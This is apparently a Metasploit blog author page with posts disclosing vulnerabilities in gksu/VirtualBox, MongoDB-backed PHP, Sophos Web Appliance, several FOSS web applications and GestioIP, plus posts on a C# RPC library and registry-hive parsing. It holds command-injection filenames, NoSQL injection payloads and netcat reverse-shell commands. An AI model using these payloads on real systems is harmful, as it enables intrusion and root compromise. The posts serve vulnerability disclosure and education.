Skip navigation
All Places > Metasploit > Blog > Authors bperry


7 Posts authored by: bperry

Poisoning VirtualBox via Crafted Filenames

When I began researching this, I believed the vulnerability laid within Virtualbox, but I realized this was not true after a bit. The vulnerability being hit is actually within gksu itself. In fact, virtual box did everything right (sort of). I do take advantage of a weakness in the way they validate their extension packs, but the reason the vulnerability results in a root shell is because the vulnerability is hit after gksu escalates privs to root. You *must* install the extension pack via the helper app, so that means double clicking or opening from the graphical UI. This also works when reinstalling the same (but maliciously-renamed) extension pack.


Incidentally, this bug was already reported in the maintainer's bug tracker, but it seems unclear of the true, dangerous scope of the bug, when it comes to things like VirtualBox, various package manageres, et cetera.


Disclosure Timeline

Below is the timeline Brandon Perry and Rapid7 followed to disclose this issue.


Aug 15, 2013 (Thu)Vulnerable behavior first noticed (approximately)
Apr 28, 2014 (Wed)Submitted to HP's ZDI program for consideration
Apr 30, 2014 (Wed)Entrusted to Rapid7 for disclosure
May 21, 2014 (Wed)Disclosed to vendor, Gustavo Nohornha Silva
Jun 06, 2014 (Fri)Disclosed to CERT/CC
Jun 10, 2014 (Tue)CVE-2014-2943 assigned
Jul 07, 2014 (Mon)Public Disclosure


Vulnerability Details

A linux system with KDE installed will likely not be vulnerable to this, as the code path to use gksu asks if kdesudo is installed before asking if gksu is installed. The logic that dictates this is within VBoxExtPackHelperApp.cpp around line 1429. Per the comment above the logic, this will likely be fixed for Virtualbox if it is rewritten to use PolicyKit.



In order to hit the vulnerability on a default Ubuntu install, you must change the ‘sudo-mode’ key to be unchecked in the /apps/gksu schema in gconf which will make gksu require the ‘root’ user’s password as opposed to the current user’s password since it will achieve privilege escalation using ‘su’ and not ‘sudo’. On CentOS, for instance, this is not needed as this is default.



The vulnerability lies in the filename. At the time of writing, there is only one known VirtualBox extension pack. It is offered by Oracle on their website along with the virtual box installer. This adds proprietary functionality. It is called:






When Virtualbox is opening this, it checks the filename against a stored value within the ext pack and ensures they match. If they do not, then virtual box bails. You can get around this, however, with a little bit of trickery.






By appending directly to the end, you can bypass the filename check. By appending an extra .vbox-extpack, an administrator can still double click the file and have the window manager open virtual box to install the extension pack.



In order to take advantage of the vulnerability in gksu, you can create a small test that connects back with a netcat session.



Oracle_VM_VirtualBox_Extension_Pack-4.3.4.vbox-extpack.$(nc 4444).vbox-extpack



By passing this to gksu, gksu will pass the payload to ‘gksu-run-helper’ as an argument in “double” quotes. When gksu executes the gksu-run-helper command as root, the payload is evaluated within the double quotes (even though virtualbox single quoted them!).



Within the gksu_su_fuller function in libgksu.c ~line 1928, you will find gksu builds the string that it will be eventually running. ~line 1996 and 1997 looks like this:



1996      cmd[i] = g_strdup_printf ("%s \"%s\"", auxcommand,

1997        context->command); i++;



auxcommand is ‘gksu-run-helper’ and context->command is the command that will be run in the context of the root user. You can see that it uses “double” quotes to encapsulate the command.



Here is a ps aux listing of what the execution progression is, note the increasing pids:



bperry    9708  0.0  0.4 106352  4272 ?        S    19:23  0:00 /usr/lib/virtualbox/VBoxExtPackHelperApp install --base-dir /usr/lib/virtualbox/ExtensionPacks --cert-dir /usr/share/virtualbox/ExtPackCertificates --name Oracle VM VirtualBox Extension Pack --tarball /home/bperry/Downloads/Oracle_VM_VirtualBox_Extension_Pack-4.3.8-92456.vbox-ext pack.$(nc 4444).vbox-extpack --sha-256 eb364239fc399416af6c985b3082bfbdd206d42a60e7af98ffba13d60912b864 —replace



bperry    9710  1.6  1.0 186440 11100 ?        S    19:23  0:00 /usr/bin/gksu /usr/lib/virtualbox/VBoxExtPackHelperApp --stdout /tmp/VBoxExtPackHelper-qma0nm/stdout --stderr /tmp/VBoxExtPackHelper-qma0nm/stderr --elevated install --base-dir /usr/lib/virtualbox/ExtensionPacks --cert-dir /usr/share/virtualbox/ExtPackCertificates --name 'Oracle VM VirtualBox Extension Pack' --tarball '/home/bperry/Downloads/Oracle_VM_VirtualBox_Extension_Pack-4.3.8-92456.vbox-ex tpack.$(nc 4444).vbox-extpack' --sha-256 eb364239fc399416af6c985b3082bfbdd206d42a60e7af98ffba13d60912b864 —replace



root      9715  0.0  0.1  59928  1780 pts/2    Ss+  19:23  0:00 /bin/su root -c /usr/lib/libgksu/gksu-run-helper "/usr/lib/virtualbox/VBoxExtPackHelperApp --stdout /tmp/VBoxExtPackHelper-qma0nm/stdout --stderr /tmp/VBoxExtPackHelper-qma0nm/stderr --elevated install --base-dir /usr/lib/virtualbox/ExtensionPacks --cert-dir /usr/share/virtualbox/ExtPackCertificates --name 'Oracle VM VirtualBox Extension Pack' --tarball '/home/bperry/Downloads/Oracle_VM_VirtualBox_Extension_Pack-4.3.8-92456.vbox-ex tpack.$(nc 4444).vbox-extpack' --sha-256 eb364239fc399416af6c985b3082bfbdd206d42a60e7af98ffba13d60912b864 —replace"



root      9724  0.0  0.1  12380  1252 ?        Ss  19:24  0:00 bash -c /usr/lib/libgksu/gksu-run-helper "/usr/lib/virtualbox/VBoxExtPackHelperApp --stdout /tmp/VBoxExtPackHelper-qma0nm/stdout --stderr /tmp/VBoxExtPackHelper-qma0nm/stderr --elevated install --base-dir /usr/lib/virtualbox/ExtensionPacks --cert-dir /usr/share/virtualbox/ExtPackCertificates --name 'Oracle VM VirtualBox Extension Pack' --tarball '/home/bperry/Downloads/Oracle_VM_VirtualBox_Extension_Pack-4.3.8-92456.vbox-ex tpack.$(nc 4444).vbox-extpack' --sha-256 eb364239fc399416af6c985b3082bfbdd206d42a60e7af98ffba13d60912b864 —replace"



root      9725  0.0  0.0  12380  672 ?        S    19:24  0:00 bash -c /usr/lib/libgksu/gksu-run-helper "/usr/lib/virtualbox/VBoxExtPackHelperApp --stdout /tmp/VBoxExtPackHelper-qma0nm/stdout --stderr /tmp/VBoxExtPackHelper-qma0nm/stderr --elevated install --base-dir /usr/lib/virtualbox/ExtensionPacks --cert-dir /usr/share/virtualbox/ExtPackCertificates --name 'Oracle VM VirtualBox Extension Pack' --tarball '/home/bperry/Downloads/Oracle_VM_VirtualBox_Extension_Pack-4.3.8-92456.vbox-ex tpack.$(nc 4444).vbox-extpack' --sha-256 eb364239fc399416af6c985b3082bfbdd206d42a60e7af98ffba13d60912b864 —replace"



The above output was taken while virtual box was frozen because I had not dropped the connection made between the vm and another machine(you can try this yourself). The last command run is the gksu-run-helper command with our command in “double” quotes. If you hit the vulnerability properly, the bash metacharacters will not appear in the final command ran, and virtual box will error out because the file it is looking for will not exist (unless the attacker can create it?).



This vulnerability could easily affect other applications that users must escalate privileges for to use (package managers come to mind). Using this method, attackers could craft special files that match MD5 sums, but that are actually quite malicious with bash metacharacters hidden in them that get parsed as root.


You may watch a short video detailing and demoing the vuln on YouTube:



Everyone knows about SQL injections. They are classic, first widely publicized by Rain Forest Puppy, and still widely prevalent today (hint: don't interpolate query string params with SQL).


But who cares? SQL injections are so ten years ago. I want to talk about a vulnerability I hadn't run into before that I recently had a lot of fun exploiting. It was a NoSQL injection.


The PHP application was using MongoDB, and MongoDB has a great feature that allows you to filter the documents using Javascript queries. You pass a Javascript function in a string to the $where variable when calling find(). This function should return a boolean value, determining whether the given document should be returned in the dataset or not.


A natural progression to this is to make these dynamic, based on user input. Great, this gives me a possible opportunity to inject arbitrary Javascript (into a fairly limited sandbox) and dictate what the result set contains. It isn't super useful though at face value. Maybe you could extract data by defining new boolean clauses that would evaluate to true when 'this.username' == 'admin'.


Given the un-named application is un-named, I wanted to write a module that the framework devs could easily test, so I decided to write a small PHP script that was vulnerable to a few different vectors of NoSQL injection in a similar way to this application. Doing some research into this kind of vulnerability, I found a very useful post that included a PDF of a talk given at BlackHat a few years ago. It is the basis for the techniques used in the module.


Basically, in versions of MongoDB prior to 2.4, there was a 'db' variable available in the context of the javascript that ran in the $where variable. This 'db' variable lets you do a lot of really cool things, I chose to write a module that easily shows the exploitability of the vulnerability. It will perform boolean injections to extract the collections available in the database. I also knew that Javascript could allow for injections in a few places, so I took this into account, requiring slight syntax tweaks (much like SQL injections). The vulnerable script is available here.


Let's see some code. In this example PHP script, the programmer is going to look up people based on their age:



$m = new MongoClient("mongodb://");


$collection = $m->selectCollection('test', 'phpmanual');


if ($_GET["age"] != "") {

     $js = 'function(){if( == "Joe"||this.age=='.$_GET["age"].')return true;}';

     $cursor = $collection->find(array('$where' => $js));

     foreach($cursor as $doc) {






If you look closely, the programmer is just dropping the GET parameter into the Javascript. What if, instead of putting "8", we put "8||true". Magically, every single document in the collection has been dumped. I love magic. But let's extrapolate on this.


Remember that 'db' variable we have? It has some pretty good methods available, such as getCollectionNames(). This returns an array of strings. An introduction to boolean attacks is in order before going much further.


If you aren't 100% sure what a boolean attack is, hopefully this will clarify it. A boolean attack allows an attacker to gain information from a system by asking a series of true or false questions. Many times, you use "metadata" such as what the response was when you ask a 'false' question and the response of a 'true' question to glean information. You don't care what the data is in these responses, you just care that they are predictably different. Unless you have great wordlists, this is generally done a byte at a time. A time-based SQL injection is actually another example of a boolean attack, except the "metadata" used is temporal to determine whether a query was true or false.


In the above code example, in order to exploit it efficiently, I need information about what exactly 'getCollectionNames()' is returning, such as how many strings it is returning. I can find this out easily using a boolean attack. Let's say I pass in "8||db.getCollectionNames().length == 1", but I get my 'false' response back. This means that whatever 'db.getCollectionNames().length is returning does not equal one. But when I pass "8||db.getCollectionNames().length == 2", I get my 'true' response, every document in the collection. This tells me that there are two collection names being returned by the method.


Now I can take the attack further. I pass in "8||db.getCollectionNames()[0][0] == 'a'" and I get a 'false' response back. I am asking the server if the zeroth character of the zeroth string is 'a'.  That sucks, and this is really tedious. I know enough now though to automate actually getting the collection names. By incrementing the name and character indexes and asking boolean questions (is the char 'a'? is it 'b'? etc...), I can easily exfiltrate the collection names available to demonstrate and fully exercise the vulnerability.


msf auxiliary(nosql_injection_collection_enum) > run

[*] Testing "'||this||'

[*] Testing "';return+true;var+foo='

[*] Testing '"||this||"

[*] Testing '";return+true;var+foo="

[*] Testing ||this

[*] Looks like ||this works

[*] 2 collections are available

[*] Length of collection 0's name is 9

[*] Collections 0's name is phpmanual

[*] Length of collection 1's name is 14

[*] Collections 1's name is systemindexes

[*] Auxiliary module execution completed

msf auxiliary(nosql_injection_collection_enum) >


As previously stated, this will only work on injections in versions of MongoDB prior to 2.4. This module was tested against 2.2.7. Version 2.4 removed the 'db' variable completely from the javascript context. My module was submitted as Pull Request 3430, was landed to the main development branch of Metasploit last night, and will be available as part of the next Metasploit Update. If you don't yet have Metasploit, might I suggest taking a few moments to download it? It's free, after all.

Sophos Web Protection Appliance vs and likely prior versions was vulnerable to both a mass assignment attack which allowed privilege escalation, as well as a remote command execution vulnerability as root available to admin users. ZDI details the vuln here.


This Metasploit module exploits both vulnerabilities in order to go from an otherwise unprivileged authenticated user to root on the box. This is particularly bad because this appliance is what sits between the internet and a company's intranet, filtering all the HTTP traffic.


The first vulnerability is a mass assignment vulnerability. When a user changes their password, they have the ability to change other people's password hashes as well. Why this mechanism works this way is beyond my comprehension.


Within the request, one of the parameters contains a URL encoded JSON array of all of the users and the password hashes, as well as the active user's. An attacker can even change his own name to admin if he wants to. Abusing this, an attack can set the admin user's hash to a value of a known word (I chose notpassword). I do not know the hashing scheme (likely salted afaict), so I don't know how to generate dynamic hashes.




The second vulnerability is a remote command execution vulnerability in the netinterface controller. There is no server-side validation of the IP address information sent which is then passed to commands run to update the static IP address information.


This one is a bit tricky as the attack doesn't seem to have a lot of space to work with. My first successful connect back was with telnet, and I found netcat worked and would give me a shell. I was not able to get any other payloads working. Although perl is installed, I was too limited in space it seemed to have the connect back run correctly. I settled on just using the cmd/unix/generic payload only and setting CMD to 'nc -c /bin/sh 4444'.






Once I knew how to make the two vulnerabilities work together, I knew how to write the Metasploit module. The user I am using is a limited account with only help desk permissions and will end up in a root shell.




If you know or suspect you're likely to run into a Sophos Web Appliance -- or any number of hundreds of other enterprise applications -- download Metasploit today and kick off your 14-day free trial.

Adventures in FOSS Exploitation, Part Two: Exploitation

This is part two of a pair of articles about disclosing vulnerabilities in a set of FOSS projects, see part one for some background on these vulnerabilities in particular, and some general advice for FOSS developers and maintainers.


A while back, I started a project to go over some of the top Sourceforge web applications and try to write some Metasploit modules for them. In the end, I was able to write seven new Metasploit modules (six exploits and one aux). Some of the modules take advantage of intended functionality, such as the Moodle module. Others take advantage of true security flaws, such as the Openbravo XXE module. I will go into detail for each module in this blog post.


I would like to especially thank todb for handling the vuln reporting for these modules, as I am lazy and just want to hack stuff. Props!


Moodle Authenticated Remote Command Execution (CVE-2013-3630)

Moodle is an open-source Learning Management System or Course Management System. It is used around the world by educational institutions, private enterprises, and governments alike and is a very good example of a solid open-source project. This year, as of this writing, Moodle has been downloaded from Sourceforge over 800,000 times. However, Moodle is easily installed from apt and yum as well.


This module exploits more of a design flaw than a bug as the feature that is abused is meant to be there. This means that this isn't actually going to be fixed, but I will discuss mitigation later.


The module also has the ability to exploit a vulnerability. Moodle was recently found to have an XSS bug that allows a student (unprivileged user) to steal an admin's session key (the "sesskey"). You can log in with less-privileged credentials, but supply a sesskey for an admin. This allows the unprivileged user to have the authorization of the admin, which in turn allows the user to pop a shell. You can read more about this XSS vulnerabilities on Exploit-DB.




So, down to the knitty-gritty, how do you pop the shell? Within Moodle, an Administrator has the ability to specify a system path to the aspell binary on the filesystem that the TinyMCE editor will use for spell-checking. You can probably already see where this is going.




Basically, an attacker can specify an arbitrary command, ensure the editor will use the system aspell, and make a request to ask for a spell check. By default, it is not set to the correct value and you will need to ensure it is using the system aspell.





When the request for a spell check is made, the command is run in the context of the web application. If you specify the username and password of any user, and a sesskey of an admin, the exploit will work in the exact same way.


You can use the config value "$CFG-> preventexecpath = true" to mitigate this risk.




Disclosure Timeline (Moodle)


Sat Aug 03, 2013: Initial discovery by internal researcher

Sat Aug 03, 2013: Draft Metasploit module written

Mon Aug 26, 2013: Initial contact to vendor

Mon Aug 27, 2013: Bug filed at Moodle bug tracker as MDL-41449

Wed Oct 30, 2013: Public Disclosure


Vtiger CRM Authenticated Remote Code Execution


This web application has been downloaded over 200,000 times this year from Sourceforge.




I found that an authenticated user (default creds admin:admin) could upload PHP source files with an extension of .php3 (.php was blocked) after manipulating a URL that the user is taken to during image uploading.




By altering the URL (is read-only, need to copy to new tab), you could navigate to an upload folder with less file restrictions than the image upload folder, and by uploading a PHP script to this folder, you could access the script remotely to have it run the arbitrary PHP code.




There are two vulnerabilities here that lead to successful exploitation. The first is that a user could navigate to an upload directory with less restrictions on allowed filetypes (non-images). The second is that this used an incomplete blacklist (restrict .php but not .php3).


You can access the newly uploaded file directly on the web server and execute any PHP code you want.




Once I realised the workflow for exploitation, a Metasploit module was cake . The module is effective against versions 5.3.0 and 5.4.0 of VTiger CRM.




Disclosure Timeline (vTiger CRM)


2013-07-01: Vulnerability discovered by Brandon Perry, Rapid7

2013-07-01: Metasploit module written

2013-07-02: Disclosure first draft written

2013-07-03: Vendor contacted with disclosure and Metasploit module

2013-07-23: CERT/CC contacted with disclosure and Metasploit module

2013-09-05: Planned Public disclosure (delayed)

2013-10-30: Public disclosure


Zabbix Authenticated Remote Command Execution (CVE-2013-3628)


Zabbix is an enterprise-class open-source software for monitoring networks, similar to Nagios. It has been downloaded on Sourceforge almost 300,000 times this year so far.


This module abuses functionality within the application which allows an administrator to run scripts on hosts. By creating a host with an IP of (it can already exist, will make two), then you can create a 'script' with an arbitrary command to be run on the Zabbix server, and call script_exec.php with the ID of the new host and the ID of the new script. This module uses the same vector of command execution as the module pyoor just got pushed into the framework, but uses real authentication as opposed to a SQL injection. This means mine will still work after the patch, with correct credentials. As it turns out, I found the vector around the same time as another researcher (Lincoln of corelan), independently. Funny how things like that work sometimes.




Disclosure Timeline (Zabbix)


Sat Aug 24, 2013: Initial discovery by internal researcher

Sat Aug 24, 2013: Draft Metasploit module written

Mon Aug 26, 2013: Initial contact to vendor

Wed Aug 28, 2013: Response from vendor, details provided

Wed Sep 11, 2013: Disclosure to CERT/CC

Wed Oct 30, 2013: Public Disclosure


Openbravo ERP Authenticated XXE (CVE-2013-3617)


Openbravo ERP is an open source project available on Sourceforge, downloaded over 134,000 times this year. It was vulnerable to an XXE (XML eXternal Entity) attack the the XML API. This allows an authenticated user to post specially-crafted XML to the XML API and read arbitrary files from the file system as the user the application is running as (generally not root).




If you aren't familiar with what an XXE attack is, I will explain it briefly. A great resource to read up more fully on this type of vulnerability is on the OWASP website.


Basically, the default SAX parser used by many Java applications by default validates and expands entities defined within an external DTD. An attacker can create an external DTD within the XML request to a web service that will define new entities and where to look for them if referenced. When this request is parsed, the entities will be expanded on the server side to the values they are set to be expanded to. You can set these to expand to local files on the file system, thus replacing the entity with the contents of the file. This is the basic premise of the attack.


Openbravo ERP is a Java application that provides an XML API to authenticated users. This is available at the URI /ws/dal/<ENDPOINT>. Each endpoint represents a specific entity within the Openbravo data access layer. The module by default uses the ADUser endpoint because you will eventually find a user you can edit (yourself) and persist with the new value. Each class represented by the endpoints seem to all share at least one property, a comment. This field seems to be postable with free form text across all the endpoints I tried (Product is another). The module uses this field to store the value of the file, then requests the updated entity from the endpoint with a GET and parses the comment field. I do try to remain stealthy, so I remove the file from the comments field when done. You have ability to set the endpoint you want to use in the options for the module (ENDPOINT, be default ADUser).




Disclosure Timeline (Openbravo ERP)


Mon Jul 22, 2013: Initial discovery by internal researcher

Mon Jul 29, 2013: Draft advisory written

Tue Aug 06, 2013: Initial contact to vendor

Tue Aug 06, 2013: Automatic response for issue 22813

Tue Aug 13, 2013: PGP key provided, disclosure sent to vendor

Wed Aug 26, 2013: Disclosure to CERT/CC

Thu Aug 27, 2013: VU#533894 assigned by CERT/CC

Wed Sep 04, 2013: Planned public disclosure (Delayed)

Wed Oct 30, 2013: Public Disclosure

Wed Oct 30, 2013: CERT/CC VU published



ISPConfig Authenticated Remote Code Execution (CVE-2013-3629)



ISPConfig is an open source hosting control panel written in PHP that allows for easy management of resellers and clients of internet cloud space and the like.


An administrator (default creds admin:admin) on ISPConfig has the ability to import and export language definition files. These files contain snippets of PHP code that get evaluated and executed in order to persist the correct language values. An attacker can abuse this by uploading a specially crafted file with arbitrary PHP code.


The Metasploit module I have written to take advantage of this is called ispconfig_php_exec and allows the attacker to define the language that will inevitably be over-written (so don't choose the main language, otherwise it will be apparent something is wrong). While the vendor has stated they have added mitigations to later versions than (which I was testing on at first), the module still works against the latest release.




Disclosure Timeline (ISPConfig)


Mon Jul 29, 2013: Initial discovery by internal researcher

Mon Aug 29, 2013: Draft Metasploit module written

Mon Aug 26, 2013: Initial contact to vendor

Tue Aug 27, 2013: Vendor response with PGP key

Tue Aug 27, 2013: Vendor provided with full details

Wed Sep 04, 2013: Vendor provided a fix

Wed Sep 12, 2013: Disclosure to CERT/CC

Wed Oct 30, 2013: Public Disclosure


OpenMediaVault Authenticated Remote Command Execution (CVE-2013-3632)

OpenMediaVault is an open-source Debian distribution for network attached storage devices. Available on Sourceforge, it has been download over 500,000 times this year as of this writing.


OpenMediaVault allows you to create cron jobs as users (including root). This module abuses this to create a cron job to run whatever arbitrary command the authenticated attacker (default creds admin:openmediavault) wants to run.




Disclosure Timeline (OpenMediaVault)


Thu Aug 01, 2013: Initial discovery by internal researcher

Thu Aug 01, 2013: Draft Metasploit module written

Mon Aug 26, 2013: Initial contact to vendor

Tue Aug 27, 2013: Vendor response with PGP key

Tue Aug 27, 2013: Vendor provided with full details

Wed Sep 11, 2013: Vendor response

Wed Sep 12, 2013: Disclosure to CERT/CC

Wed Oct 30, 2013: Public Disclosure


NAS4Free Authenticated Remote Code Execution (CVE-2013-3631)

NAS4Free is an open-source BSD distribution for network attached storage devices. Available on Sourceforge, it has been downloaded nearly 350,000 times this year as of this writing. NAS4Free is a direct continuation of development of FreeNAS, just under a different name (due to legal circumstances).


A feature offered by NAS4Free to authenticated users (default creds admin:nas4free) is to run arbitrary PHP code (what could go wrong?). It also offers to run bash commands, but the bash environment is very limited and no connect-backs were viable via this vector.




This module simply takes advantage of this feature to pop a shell with PHP. I noticed that PHP meterpreter did not work properly, and settled on using the more simple php/reverse_php payload for most of my testing.



Disclosure Timeline (NAS4Free)


Fri Aug 02, 2013: Initial discovery by internal researcher

Fri Aug 05, 2013: Draft Metasploit module written

Mon Aug 26, 2013: Initial contact to vendor

Wed Aug 28, 2013: Disclosure to vendor

Wed Sep 12, 2013: Disclosure to CERT/CC

Wed Oct 30, 2013: Public Disclosure

Wed Oct 30, 2013: CERT/CC VU published

GestioIP is an open-source IPAM (IP Address Management) solution available on Sourceforge, written in Perl.


There is a vulnerability in the way the ip_checkhost.cgi deals with pinging IPv6 hosts passed to it. If you pass an IPv4 address, the CGI uses a Perl library to perform the ping and return the results to the user.


However, this library doesn't seem to support IPv6 hosts, so the developer uses the ping6 utility to perform the ping of an IPv6 machine. The developer did perform some validation on the values being passed, but it wasn't sufficient and was able to be worked around.


The query string the CGI expects is


$QUERY_STRING =~ /ip=(.*)&hostname=(.*)&client_id=(.*)&ip_version=(.*)$/;

my $ip_ad=$1;
my $name=$2 || "";
my $client_id=$3 || "";
my $ip_version=$4 || "";


The first check the developer does is testing for any characters that the developer doesn't want in the query string:


if ( $ENV{'QUERY_STRING'} =~ /[;`'\\<>^%#*]/ ) {
        print_html($$lang_vars{max_signos_message}, $close);
        exit 1;


This presented some interesting restrictions on how to exploit the vulnerability.


Once the application has verified that the query string doesn't contain the bad characters (including a space, which isn't included in the previous code), the developer attempts to ensure the IP address is in the correct format.


if ( $ip_version eq "v4" ) {
        if ( $ip_ad !~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/ ) {
                print_html("<b>ERROR</b><p>$$lang_vars{ip_invalid_message}: $ip_ad","");
                exit 1;
} elsif ( $ip_version eq "v6" ) {
        my $ip_ad_expand = ip_expand_address ($ip_ad,6);
        if ( $ip_ad_expand !~ /^\w+:\w+:\w+:\w+:\w+:\w+:\w+:\w+$/ ) {
                print_html("<b>ERROR</b><p>$$lang_vars{ip_invalid_message} $ip_ad","");


You will notice that there is no 'else' statement, so if the ip_version param doesn't contain either 'ipv4' or 'ipv6', then no validation is done on the $ip_ad variable.


However, even if you were to pass in an ip_version of 'ipv6', the regex for the IPv6 address is not very strict at all.


Since an attacker can bypass any validation of the IP address before being passed to the ping6 command, the only thing left to do is figure out how to get around the first set of character restrictions.


I ended up using a few tricks to get around the fact that I couldn't use a space or a semi-colon. I finally settled on the following IP address in the request which creates a PHP script at the root of the web application.




I use ${IFS} instead of a space, which will be substituted by bash by a space. I also use | to go from one command to another and I base64 encode my actual payload to work around bad characters.


Once I figured out how to execute arbitrary commands (and figuring out my payload size couldn't be greater than about 450 characters), I knew how to write my Metasploit module:




And with that, here's the Metasploit module that exercises the vulnerability and can test if you've applied the patch correctly -- the module will be available in the next update, or if you're tracking the Metasploit development branch directly, you can simply use msfupdate to get the goods.

I recently checked into github a C# library that helps allow easy communication and integration from your Mono/.NET applications.


The library follows the same Session/Manager pattern as the Nexpose library I mentioned previously in the Nexpose blog. It has support for both the core Metasploit RPC and for the Metasploit Pro RPC.


Getting started is easy. To understand a bit more the classes you have at your disposal, here are a few quick examples. First off, within the metasploitsharp namespace, you will have a MetasploitSession class, and two managers (MetasploitManager and MetasploitProManager). MetasploitManager implements core RPC methods, while MetasploitProManager inherits from MetasploitManager and implements the Pro features. You may use all three of these classes within the context of a using statement. MetasploitSession automagically logs out your session when the object is disposed at the end of its context.



using (MetasploitSession session = new MetasploitSession("metasploit", "password", ""))
    using (MetasploitManager manager = new MetasploitManager(session))
          Dictionary<object, object> response = manager.GetCoreModuleStats();

          foreach (var pair in response)
              Console.WriteLine(pair.Key + ": " + pair.Value);
} //session is logged out here at the end of its context, no need to manually log out.



You may also call methods directly off of the session object, and ignore the MetasploitManager completely.



using (MetasploitSession session = new MetasploitSession("metasploit", "password", ""))
     Dictionary<object, object> response = session.Execute("core.stats");

     foreach (var pair in response)
          Console.WriteLine(pair.Key + ": " + pair.Value);
} //session is logged out here


Due to C# being a strongly-typed language, and Ruby being a duck-typed language, you are at the mercy of Dictionaries of objects that can be any type. I have done my best to do most of the typing behind the scenes in the MetasploitSession class, but the types in the Dictionaries that are returned vary from method call to method call, so the programmer must know what he is expecting and type accordingly on his end.


There are plenty of examples in the github repo, going over both Core and Pro API features. This library is released under a BSD license, so feel free to fork and do what you will.

As of a few days ago, the Metasploit Framework has full read-only access to offline registry hives. Within Rex you will now find a Rex::Registry namespace that will allow you to load and parse offline NT registry hives (includes Windows 2000 and up), implemented in pure Ruby. This is a great addition to the framework because it allows you to be sneakier and more stealthy while gathering information on a remote computer. You no longer need to rely on arcane Windows APIs with silly data structures and you can interact with the registry hives in an object-oriented manner. Combined with the recent ShadowCopy additions from TheLightCosine, you have a very powerful forensics suite at your fingertips.


Before I get ahead of myself, I should explain exactly what the registry is and why it matters.


When you open up regedit on a Windows computer, regedit is actually opening many different registry hives. A registry hive is a binary file that is stored either in C:\Windows\System32\config (SYSTEM, SOFTWARE, SAM, SECURITY) or in a user's profile (NTUSER.dat). These hives store system information and configurations, user information, and all sorts of just interesting information (group policy settings for instance). These files are locked while Windows is running. In the past, we have used methods like exporting specific hives in order to get around this lock, and this still works well enough. We now have the option of using the Volume Snapshot Service, or VSS, to create a copy of a hive while locked. However, there has been no good way to analyse and parse these hives on a system that wasn't running Windows after copying them.


The easiest way is to create copies of the hives, and pull them down to your local machine in a centralised place. I used 'reg SAVE HKLM\$HIVE $HIVE.hive', substituting $HIVE for the actual hive name, then download'ed the copied hive in meterpreter.


root@w00den-pickle:/home/bperry/Projects/new_hives# file ./*  
./sam.hive:            MS Windows registry file, NT/2000 or above 
./security.hive:       MS Windows registry file, NT/2000 or above 
./software.hive:       MS Windows registry file, NT/2000 or above 
./system.hive:         MS Windows registry file, NT/2000 or above 



You will find a new tool within the source tree called reg.rb (tools/reg.rb). This script consumes the Rex::Registry library and has many predefined methods to help speed up IG. Work is still being done on reg.rb, it has a lot of potential. Ideas or functionality requests are appreciated. Patches too.


A small primer on how the registry stores data is in order. WIthin a registry hive, you have 5 value types:


0x01 -- "Unicode character string"

0x02 -- "Unicode string with %VAR% expanding"

0x03 -- "Raw binary value"

0x04 -- "Dword"

0x07 -- "Multiple unicode strings separated with '\\x00'"


Types 1, 2, and 7 can be printed to a screen in a readable form without much issue. Types 3 and 4, however, are binary types and will be printed out in their base16 representations (\xde\xad\xbe\xef). Keep this in mind when querying values from a registry hive.


For instance, let's say we need to find out the Default Control Set in order to query correct values pertaining to drivers or the boot key. Your query would look similar to this:


root@w00den-pickle:~/tools/metasploit-framework/tools# ./reg.rb query_value '\Select\Default' /home/bperry/Projects/new_hives/system.hive
Hive name: SYSTEM
Value Name: Default
Value Data: "\x01\x00\x00\x00"


This tells us that the Default Control Set is ControlSet001. When we query the root key ('', "", '\', or "\\") of the SYSTEM hive, we will see the available ControlSets:


root@w00den-pickle:~/tools/metasploit-framework/tools# ./reg.rb query_key '' /home/bperry/Projects/new_hives/system

Hive name: SYSTEM

Child Keys for




    Name                   Last Edited                Subkey Count  Value Count

    ----                   -----------                ------------  -----------

    ControlSet001          2010-08-21 08:56:36 -0500  4             0

    ControlSet002          2010-08-21 16:05:32 -0500  4             0

    LastKnownGoodRecovery  2011-12-13 21:22:55 -0600  1             0

    MountedDevices         2010-08-21 08:56:18 -0500  0             4

    Select                 2010-08-21 16:05:32 -0500  0             4

    Setup                  2010-08-21 16:05:33 -0500  4             6

    WPA                    2010-08-21 16:08:33 -0500  4             0

Values in key




    Name  Value Type  Value

    ----  ----------  -----



When querying the hives, the library queries relatively from the root key. On XP machines, the root key is always named $$$PROTO.HIV. On Vista+, the root key is always named along the lines of CMI-CreateHive{F10156BE-0E87-4EFB-969E-5DA29D131144}. The guid will be variable. This is important to note because many times a key will be given to you in this form:




In the above example, there are actually three parts. HKLM stands for HKEY_LOCAL_MACHINE. This tells regedit to load the local registry hives. The second part, Software, tells regedit the key is in the SOFTWARE hive. The third part, Microsoft\Windows\CurrentVersion\Uninstall, is the actual key path relative to the root key in the hive. Since reg.rb only looks at arbitrary hives, the first two parts aren't needed.


If you were to query the above key with reg.rb, the command would look like this:


reg.rb query_key '\Microsoft\Windows\CurrentVersion\Uninstall' /path/to/hive/SOFTWARE


This would enumerate the installed programs on the computer along with the date and time the key was created. Generally, the keys in the above key are created when the program is installed, so you can see how long a program has been installed on a computer as well.


The library also allows you to query for data that would otherwise be hidden. Each nodekey has the ability to have a classname. This classname isn't shown in regedit, and some very important information can be held in this container. For instance, the boot key is stored in 4 separate key classnames that would otherwise not be accessible. reg.rb allows you to query for the boot key easily:


root@w00den-pickle:~/tools/metasploit-framework/tools# ./reg.rb get_boot_key /home/bperry/tmo/hives/SYSTEM
Getting boot key
Root key: CMI-CreateHive{F10156BE-0E87-4EFB-969E-5DA29D131144}
Default ControlSet: ControlSet001



Accessing the hives programmatically


You may find yourself wanting to work with the hives programmatically, via a resource script with ERB, or straight from irb. The main class you will be working with is Rex::Registry::Hive. You perform queries directly off of the hive object.


msf > irb [*] Starting IRB shell... >> require 'rex/registry' => true >> hive ='/home/bperry/tmo/hives/SYSTEM'); nil => nil >> hive.hive_regf.hive_name => "SYSTEM" >> => "CMI-CreateHive{F10156BE-0E87-4EFB-969E-5DA29D131144}"


In the above example, we create a new hive object. Every hive has a root key, and begins with a regf block(which tells you what the name of the hive is, among other things). A root key is simply a nodekey with a special flag.


>> hive.root_key.lf_record.children.each { |k| p }; nil








=> nil


Every nodekey will have either an lf_record or a valuelist (or both!). The lf_record contains the child nodekeys. The valuelist contains the child values.


>> valuekey = hive.value_query('\Select\Default'); nil

=> nil

>> nodekey = hive.relative_query('\ControlSet001\Control\Lsa'); nil


